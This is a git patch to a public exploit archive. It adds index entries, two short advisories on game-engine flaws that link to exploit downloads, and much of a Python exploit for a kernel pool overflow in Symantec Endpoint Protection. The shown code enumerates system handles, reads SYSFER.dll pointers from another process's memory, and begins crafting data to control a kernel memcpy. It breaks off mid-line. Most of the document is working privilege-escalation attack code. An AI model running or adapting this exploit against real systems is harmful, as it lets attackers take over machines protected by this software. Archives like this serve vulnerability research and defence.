From 40b9adcb14b8307ea66f8b92d0371be80bbc70e4 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 7 Aug 2014 04:39:04 +0000 Subject: [PATCH] Updated 08_07_2014 --- files.csv | 3 + platforms/multiple/dos/34270.txt | 9 + platforms/multiple/remote/34271.txt | 12 + platforms/windows/local/34272.py | 481 ++++++++++++++++++++++++++++ 4 files changed, 505 insertions(+) create mode 100755 platforms/multiple/dos/34270.txt create mode 100755 platforms/multiple/remote/34271.txt create mode 100755 platforms/windows/local/34272.py diff --git a/files.csv b/files.csv index 0612d1c15..68266d51a 100755 --- a/files.csv +++ b/files.csv @@ -30868,3 +30868,6 @@ id,file,description,date,author,platform,type,port 34267,platforms/linux/local/34267.sh,"Altair Engineering PBS Pro 10.x 'pbs_mom' Insecure Temporary File Creation Vulnerability",2010-07-07,"Bartlomiej Balcerek",linux,local,0 34268,platforms/php/webapps/34268.txt,"Worxware DCP-Portal 7.0 Multiple Cross Site Scripting Vulnerabilities",2010-07-07,"Andrei Rimsa Alvares",php,webapps,0 34269,platforms/php/webapps/34269.txt,"Pligg 1.0.4 'install1.php' Cross Site Scripting Vulnerability",2010-07-07,"Andrei Rimsa Alvares",php,webapps,0 +34270,platforms/multiple/dos/34270.txt,"Ubisoft Ghost Recon Advanced Warfighter Integer Overflow and Array Indexing Overflow Vulnerabilities",2010-07-07,"Luigi Auriemma",multiple,dos,0 +34271,platforms/multiple/remote/34271.txt,"id Software id Tech 4 Engine 'key' Packet Remote Code Execution Vulnerability",2010-07-05,"Luigi Auriemma",multiple,remote,0 +34272,platforms/windows/local/34272.py,"Symantec Endpoint Protection 11.x, 12.x - Kernel Pool Overflow",2014-08-05,"ryujin & sickness",windows,local,0 diff --git a/platforms/multiple/dos/34270.txt b/platforms/multiple/dos/34270.txt new file mode 100755 index 000000000..06c7bb36e --- /dev/null +++ b/platforms/multiple/dos/34270.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/41459/info + +Ghost Recon Advanced Warfighter (GRAW) is prone to an integer-overflow vulnerability and an array-indexing-overflow vulnerability. + +Successful exploits may allow attackers to cause denial-of-service conditions. Due to the nature of these issues, code-execution may also be possible, but this has not been confirmed. + +GRAW 1.35 and GRAW 2 1.05 are vulnerable; other versions may also be affected. + +http://www.exploit-db.com/sploits/34270.zip \ No newline at end of file diff --git a/platforms/multiple/remote/34271.txt b/platforms/multiple/remote/34271.txt new file mode 100755 index 000000000..4db92b8f3 --- /dev/null +++ b/platforms/multiple/remote/34271.txt @@ -0,0 +1,12 @@ +source: http://www.securityfocus.com/bid/41460/info + +id Tech 4 Engine is prone to a remote code-execution vulnerability. + +An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. + +The following applications include the vulnerable engine: + +Enemy Territory: Quake Wars 1.5.12642.33243 and prior +Wolfenstein 1.3.344272 and prior + +http://www.exploit-db.com/sploits/34271.zip \ No newline at end of file diff --git a/platforms/windows/local/34272.py b/platforms/windows/local/34272.py new file mode 100755 index 000000000..c7452b015 --- /dev/null +++ b/platforms/windows/local/34272.py @@ -0,0 +1,481 @@ +# Symantec Endpoint Protection 11.x, 12.x - Kernel Pool Overflow +# http://www.offensive-security.com +# Tested on Windows 7 +# http://www.offensive-security.com/vulndev/symantec-endpoint-protection-0day/ +# Authors: Matteo 'ryujin' Memelli & Alexandru 'sickness' Uifalvi offensive-security.com + +from ctypes import * +from ctypes.wintypes import * +import struct, sys, os, time + +ntdll = windll.ntdll +kernel32 = windll.kernel32 +TH32CS_SNAPPROCESS = 0x02 +PROCESS_ALL_ACCESS = 0x1fffff +FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 +NULL = 0x0 +MEM_COMMIT = 0x00001000 +MEM_RESERVE = 0x00002000 +PAGE_EXECUTE_READWRITE = 0x00000040 +SystemExtendedHandleInformation = 64 +STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 +STATUS_INVALID_HANDLE = 0xC0000008 +STATUS_SUCCESS = 0 +PVOID = c_void_p +HANDLE = c_void_p + +class LSA_UNICODE_STRING(Structure): + """Represent the LSA_UNICODE_STRING on ntdll.""" + _fields_ = [ + ("Length", USHORT), + ("MaximumLength", USHORT), + ("Buffer", LPWSTR), + ] + +class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): + """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll.""" + _fields_ = [ + ("Object", PVOID), + ("UniqueProcessId", ULONG), + ("HandleValue", ULONG), + ("GrantedAccess", ULONG), + ("CreatorBackTraceIndex", USHORT), + ("ObjectTypeIndex", USHORT), + ("HandleAttributes", ULONG), + ("Reserved", ULONG), + ] + +class SYSTEM_HANDLE_INFORMATION_EX(Structure): + """Represent the SYSTEM_HANDLE_INFORMATION on ntdll.""" + _fields_ = [ + ("NumberOfHandles", ULONG), + ("Reserved", ULONG), + ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), + ] + +class PUBLIC_OBJECT_TYPE_INFORMATION(Structure): + """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll.""" + _fields_ = [ + ("Name", LSA_UNICODE_STRING), + ("Reserved", ULONG * 22), + ] + +class PROCESSENTRY32(Structure): + _fields_ = [ + ("dwSize", c_ulong), + ("cntUsage", c_ulong), + ("th32ProcessID", c_ulong), + ("th32DefaultHeapID", c_int), + ("th32ModuleID", c_ulong), + ("cntThreads", c_ulong), + ("th32ParentProcessID", c_ulong), + ("pcPriClassBase", c_long), + ("dwFlags", c_ulong), + ("szExeFile", c_wchar * MAX_PATH) + ] + +Process32First = kernel32.Process32FirstW +Process32Next = kernel32.Process32NextW + +def header(): + """Print exploit header""" + print "[+] Sysplant 0x0222084 Kernel Pool Overflow" + print "[+] Product: Symantec Endpoint Protection" + print "[+] Authors: Matteo 'ryujin' Memelli & Alexandru 'sickness' Uifalvi offensive-security.com" + +def getLastError(): + """Format GetLastError""" + buf = create_string_buffer(2048) + if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, + kernel32.GetLastError(), NULL, + buf, sizeof(buf), NULL): + print "[-] " + buf.value + else: + print "[-] Unknown Error" + +def signed_to_unsigned(signed): + """Convert signed to unsigned integer""" + unsigned, = struct.unpack ("L", struct.pack ("l", signed)) + return unsigned + +def get_type_info (handle): + """Get the handle type information.""" + public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION() + size = DWORD(sizeof(public_object_type_information)) + while True: + result = signed_to_unsigned( + ntdll.NtQueryObject( + handle, 2, byref(public_object_type_information), size, None)) + if result == STATUS_SUCCESS: + return public_object_type_information.Name.Buffer + elif result == STATUS_INFO_LENGTH_MISMATCH: + size = DWORD(size.value * 4) + resize(public_object_type_information, size.value) + elif result == STATUS_INVALID_HANDLE: + return None + else: + raise x_file_handles("NtQueryObject.2", hex (result)) + +def get_handles(): + """Return all the processes handles in the system atm.""" + system_handle_information = SYSTEM_HANDLE_INFORMATION_EX() + size = DWORD (sizeof (system_handle_information)) + while True: + result = ntdll.NtQuerySystemInformation( + SystemExtendedHandleInformation, + byref(system_handle_information), + size, + byref(size) + ) + result = signed_to_unsigned(result) + if result == STATUS_SUCCESS: + break + elif result == STATUS_INFO_LENGTH_MISMATCH: + size = DWORD(size.value * 4) + resize(system_handle_information, size.value) + else: + raise x_file_handles("NtQuerySystemInformation", hex(result)) + + pHandles = cast( + system_handle_information.Handles, + POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \ + system_handle_information.NumberOfHandles) + ) + for handle in pHandles.contents: + yield handle.UniqueProcessId, handle.HandleValue, handle.Object + +def getppid(mypid=None, rec=False): + """ Get Parent Process """ + pe = PROCESSENTRY32() + pe.dwSize = sizeof(PROCESSENTRY32) + if not mypid: + mypid = kernel32.GetCurrentProcessId() + snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) + result = 0 + try: + have_record = Process32First(snapshot, byref(pe)) + while have_record: + if mypid == pe.th32ProcessID: + if rec: + result = getppid(pe.th32ParentProcessID, False) + break + else: + result = pe.th32ParentProcessID + break + have_record = Process32Next(snapshot, byref(pe)) + finally: + kernel32.CloseHandle(snapshot) + return result + +def getSysFerPointer(phandle): + """ Get child_block and child_block_size variable addresses """ + csysfer = create_string_buffer("SYSFER.dll", len("SYSFER.dll")) + hsysfer = kernel32.LoadLibraryA(addressof(csysfer)) + if not hsysfer: + print "[-] LoadLibrary Failed!" + sys.exit() + print "[+] SYSFER Base address %s" % hex(hsysfer) + cscb = create_string_buffer("child_block", len("child_block")) + sysfer_child_block = kernel32.GetProcAddress(hsysfer, addressof(cscb)) + if not sysfer_child_block: + print "[-] GetProcAddress Failed!" + sys.exit() + print "[+] SYSFER!child_block ptr @ %s" % hex(sysfer_child_block) + cscbs = create_string_buffer("child_block_size", len("child_block_size")) + sysfer_child_block_s = kernel32.GetProcAddress(hsysfer, addressof(cscbs)) + if not sysfer_child_block_s: + print "[-] GetProcAddress Failed!" + sys.exit() + print "[+] SYSFER!child_block_size ptr @ %s" % hex(sysfer_child_block_s) + child_block = c_ulong(0) + read = c_ulong(0) + # Read child_block address + res = kernel32.ReadProcessMemory(phandle, sysfer_child_block, + byref(child_block), sizeof(c_ulong), + byref(read)) + if res == 0 or res == -1: + print "[-] ReadProcessMemory Failed!" + getLastError() + sys.exit() + # Read child_block_size + child_block_s = c_ulong(0) + res = kernel32.ReadProcessMemory(phandle, sysfer_child_block_s, + byref(child_block_s), sizeof(c_ulong), + byref(read)) + if res == 0 or res == -1: + print "[-] ReadProcessMemory Failed!" + getLastError() + sys.exit() + print "[+] SYSFER Pointer retrieved successfully!" + return child_block, child_block_s, sysfer_child_block, sysfer_child_block_s + +def craftSysFerData(phandle, sysfer_child_block, sysfer_child_block_s, + evil_child_block, evil_child_block_size): + """ Replace SysFerData to control memcpy source buffer """ + wrote = c_ulong(0) + ecb = struct.pack("